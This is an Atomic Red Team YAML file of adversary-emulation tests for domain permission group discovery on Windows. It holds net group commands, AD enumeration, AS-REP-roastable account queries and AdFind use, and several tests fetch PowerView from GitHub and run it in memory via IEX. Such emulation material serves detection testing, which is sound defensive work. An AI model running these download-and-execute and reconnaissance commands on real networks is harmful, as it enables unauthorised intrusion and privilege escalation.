atomic-red-team/atomics/T1069.002/T1069.002.yaml

attack_technique: T1069.002
display_name: 'Permission Groups Discovery: Domain Groups'
atomic_tests:
- name: Basic Permission Groups Discovery Windows (Domain)
  auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d
  description: |
    Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
    information will be displayed.
  supported_platforms:
  - windows
  executor:
    command: |
      net localgroup
      net group /domain
      net group "domain admins" /domain
      net group "enterprise admins" /domain
    name: command_prompt
- name: Permission Groups Discovery PowerShell (Domain)
  auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7
  description: |
    Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
    information will be displayed.
  supported_platforms:
  - windows
  input_arguments:
    user:
      description: User to identify what groups a user is a member of
      type: String
      default: administrator
  executor:
    command: |
      get-ADPrincipalGroupMembership #{user} | select name
    name: powershell
- name: Elevated group enumeration using net group (Domain)
  auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37
  description: |
    Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
    test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
  supported_platforms:
  - windows
  executor:
    command: |
      net group /domai "Domain Admins"
      net groups "Account Operators" /doma
      net groups "Exchange Organization Management" /doma
      net group "BUILTIN\Backup Operators" /doma
    name: command_prompt
- name: Find machines where user has local admin access (PowerView)
  auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1
  description: |
    Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.
  supported_platforms:
  - windows
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
    name: powershell
- name: Find local admins on all machines in domain (PowerView)
  auto_generated_guid: a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd
  description: |
    Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.
  supported_platforms:
  - windows
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose
    name: powershell
- name: Find Local Admins via Group Policy (PowerView)
  auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a
  description: |
    takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.
  supported_platforms:
  - windows
  input_arguments:
    computer_name:
      description: hostname of the computer to analyze
      type: Path
      default: $env:COMPUTERNAME
  executor:
    command: | 
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose"
    name: powershell
- name: Enumerate Users Not Requiring Pre Auth (ASRepRoast)
  auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b
  description: |
    When successful, accounts that do not require kerberos pre-auth will be returned
  supported_platforms:
    - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Computer must be domain joined.
    prereq_command: |
      if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
    get_prereq_command: |
      Write-Host Joining this computer to a domain must be done manually.
  - description: |
      Requires the Active Directory module for powershell to be installed.
    prereq_command: |
      if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
    get_prereq_command: |
      Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
  executor:
    name: powershell
    elevation_required: false
    command: |
      get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}
- name: Adfind - Query Active Directory Groups
  auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274
  description: | 
    Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups
    reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
  supported_platforms:
  - windows
  input_arguments:
    adfind_path:
      description: Path to the AdFind executable
      type: Path
      default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      AdFind.exe must exist on disk at specified location (#{adfind_path})
    prereq_command: |
      if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path}
  executor:
    command: |
      #{adfind_path} -f (objectcategory=group)
    name: command_prompt